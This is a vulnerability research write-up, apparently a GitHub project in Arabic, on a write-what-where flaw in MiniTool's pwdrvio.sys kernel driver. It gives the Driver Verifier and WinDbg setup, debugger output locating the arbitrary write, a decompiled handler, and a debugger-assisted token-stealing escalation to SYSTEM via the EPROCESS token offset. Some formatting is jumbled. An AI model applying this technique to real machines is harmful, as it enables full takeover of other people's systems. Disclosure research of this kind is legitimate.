
مشروع بتاريخ: فبراير 2026 / ثغرة تلف في الذاكرة داخل برنامج تشغيل النواة الخاص بـ MiniTool. يوضح أسلوبًا بدائيًا لكتابة عشوائية في النواة بمساعدة مصحح الأخطاء يمكن استغلاله لتصعيد الامتيازات.
حالة كتابة-ما-تريد-أينما-تريد (write-what-where) داخل برنامج تشغيل النواة pwdrvio.sys الخاص بـ MiniTool. تُظهر أولية كتابة عشوائية للنواة بمساعدة مصحح الأخطاء يمكن استغلالها لتصعيد الامتيازات.
https://github.com/user-attachments/assets/ac81d7ce-0be7-40a5-9334-c54350e6e30e
كتابة عشوائية للنواة ← تصعيد الامتيازات المحلية (LPE)
الخطورة: عالية
درجة CVSS 3.1: 7.8 (LPE)
سلسلة ناقل CVSS:
LPE: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
متطلبات الهجوم:
نتائج الاستغلال: LPE - تم إثبات تصعيد الامتيازات بمساعدة مصحح الأخطاء (NT AUTHORITY / SYSTEM)، اختراق كامل للنظام
التاريخ: 5 فبراير 2026
النشاط: فحص منهجي لبرامج تشغيل النواة باستخدام أداة فحص Python مخصصة
عملية الاكتشاف:
اختيار الهدف:
pwdrvio.sys كأقدم برنامج تشغيل (الطابع الزمني: 16 يونيو 2009)C:\Windows\System32\drivers\pwdrvio.sys\\.\PartitionWizardDiskAccesser\0الفحص الأولي:
ctypes للتفاعل مع برنامج التشغيلWriteFile/DeviceIoControl إلى جهاز برنامج التشغيلتفعيل المدقق:
تكوين المدقق: ```
Verifier Flags: 0x001209bb
Standard Flags Enabled:
[X] Special pool
[X] Force IRQL checking
[X] Pool tracking
[X] I/O verification
[X] Deadlock detection
[X] DMA checking
[X] Security checks
[X] Miscellaneous checks
[X] DDI compliance checking
### إعداد تصحيح أخطاء نواة WinDbg
**التاريخ:** 5-6 فبراير 2026
**النشاط:** إنشاء بيئة تصحيح أخطاء النواة لتحليل السبب الجذري
**إجراء الإعداد:**
1. **تكوين المنفذ التسلسلي في VMware:** ```
VMware Workstation Pro → VM Settings
├─ Add Hardware → Serial Port
├─ Connection: "Use named pipe"
├─ Path: \\.\pipe\com_1
├─ End: "This is the server"
└─ I/O Mode: "Yield CPU on poll" ✓
تكوين نظام التشغيل الضيف: ```cmd REM Administrator Command Prompt bcdedit /debug on bcdedit /dbgsettings serial debugport:1 baudrate:115200 shutdown /r /t 0
اتصال WinDbg بالمضيف: ``` WinDbg → File → Attach to Kernel ├─ Port: \.\pipe\com_1 ├─ Baud Rate: 115200 ├─ Pipe: ✓ └─ Reconnect: ✓
Result: "Kernel Debugger connection established."
التاريخ: 6 فبراير 2026
النشاط: تحديد بدائية كتابة عشوائية في النواة
خطوات التحليل:
تحليل الوحدة: ```
1: kd> lm m pwdrvio
start end module name
fffff805315f0000 fffff805315f8000 pwdrvio (Jun 16 2009)
1: kd> !drvobj pwdrvio 2 Driver object (fffff805`XXXXXXXX) is for: \Driver\pwdrvio
DriverEntry: fffff805315f6008 DriverUnload: fffff805315f1060
Dispatch Routines:
[00] IRP_MJ_CREATE fffff805315f108c [02] IRP_MJ_CLOSE fffff805315f12f8
[03] IRP_MJ_READ fffff805315f16c4 [04] IRP_MJ_WRITE fffff805315f1564 ← Target
[0e] IRP_MJ_DEVICE_CONTROL fffff805`315f1404
اكتشاف التعليمات القابلة للاستغلال:
قم بتعيين نقطة توقف على معالج الكتابة: ``` 1: kd> bp pwdrvio+0x1641 1: kd> g
Breakpoint 0 hit pwdrvio+0x1641: fffff805`315f1641 498943f0 mov qword ptr [r11-10h],rax
نتيجة حرجة: تم تحديد بدائية كتابة عشوائية!
RAX) إلى العنوان [R11-0x10]R11 من إطار المكدس: mov r11, qword ptr [rbp+0xB8h]تحليل حالة السجلات: ``` 0: kd> r rax=fffff805315f1364 ← Kernel code pointer r11=ffffe60f84c38750 ← Destination address (controlled via stack) rbp=ffffe60f84c38610 ← IRP stack frame
0: kd> dq @rbp+0xB8 L1
ffffe60f84c386c8 ffffe60f84c38750 ← R11 loaded from here
التاريخ: 6-7 فبراير 2026
النشاط: تتبع الثغرة من الاستخدام بعد التحرير إلى شرط الكتابة-ما-وأين
سلسلة تلف الذاكرة:
تخصيص IRP: ``` 0: kd> !pool @rbp Pool page ffffe60f84c38610 region is Special pool *ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+ Pooltag Irp+ : I/O verifier allocated IRP packets
علاقة المخزن المؤقت: ``` 0: kd> r rsi rsi=ffffe60f828df900 ← User buffer location
0: kd> ? @rbp - @rsi Evaluate expression: 35823344 = 00000000`02229ef0 ← 35MB difference!
التحليل: المخزن المؤقت للمستخدم غير قابل للوصول المباشر من إطار RBP
RBP+0xB8 لا تشير إلى المخزن المؤقت الذي يتحكم فيه المستخدمحالة الاستخدام بعد التحرير (Use-After-Free):
يبقي برنامج التشغيل مؤشرات معلقة في بنية IRP: ```c // Ghidra decompilation (pwdrvio+0x1564) longlong lVar1 = *(longlong *)(param_2 + 0xb8); // Load from IRP
// No validation! lVar5 = IoBuildAsynchronousFsdRequest(...);
// Write to [lVar1 - 0x10] *(code **)(lVar3 + -0x10) = FUN_00011364; // Arbitrary write!
التاريخ: 7-8 فبراير 2026
النشاط: تطوير تقنية سرقة الرموز (Token Stealing)
استراتيجية الاستغلال:
الهدف: استبدال رمز العملية الحالي برمز SYSTEM
بنية EPROCESS في ويندوز:``` +0x000 Pcb : _KPROCESS ... +0x4b8 Token : _EX_FAST_REF ← Token pointer location
**إجراء سرقة الرمز المميز (Token):**
1. **تحديد عملية SYSTEM:** ```
0: kd> !process 4 0
PROCESS ffffe7875ac86200
SessionId: none Cid: 0004 Peb: 00000000
Image: System
0: kd> dq ffffe7875ac86200+4b8 L1
ffffe787`5ac866b8 ffffc08e`6642f04f ← SYSTEM token value
تحديد عملية المهاجم: ``` 0: kd> !process 0 0 poc1.exe PROCESS ffffe78760150080 SessionId: 1 Cid: 0678 Image: poc1.exe
0: kd> dq ffffe78760150080+4b8 L1
ffffe78760150538 ffffc08e6c37a066 ← Standard user token
حساب العنوان الهدف: ``` Target = TokenPointer + 0x10 = 0xffffe78760150538 + 0x10 = 0xffffe78760150548
Reason: Instruction uses [R11-0x10], so: (Target + 0x10) - 0x10 = Target
تنفيذ استبدال الرمز المميز (Token Overwrite): ``` 0: kd> r rax = ffffc08e6642f04f ; SYSTEM token 0: kd> r r11 = ffffe78760150548 ; Target address 0: kd> p ; Execute: mov [r11-10h],rax
0: kd> dq ffffe78760150538 L1 ; Verify
ffffe78760150538 ffffc08e6642f04f ← Token successfully changed!
استعادة التنفيذ: ``` 0: kd> r rip = pwdrvio + 165f ; Skip to safe return 0: kd> r eax = 0 ; Return success 0: kd> bc * ; Clear breakpoints 0: kd> g ; Continue execution
النتيجة: العملية الآن تمتلك صلاحيات SYSTEM!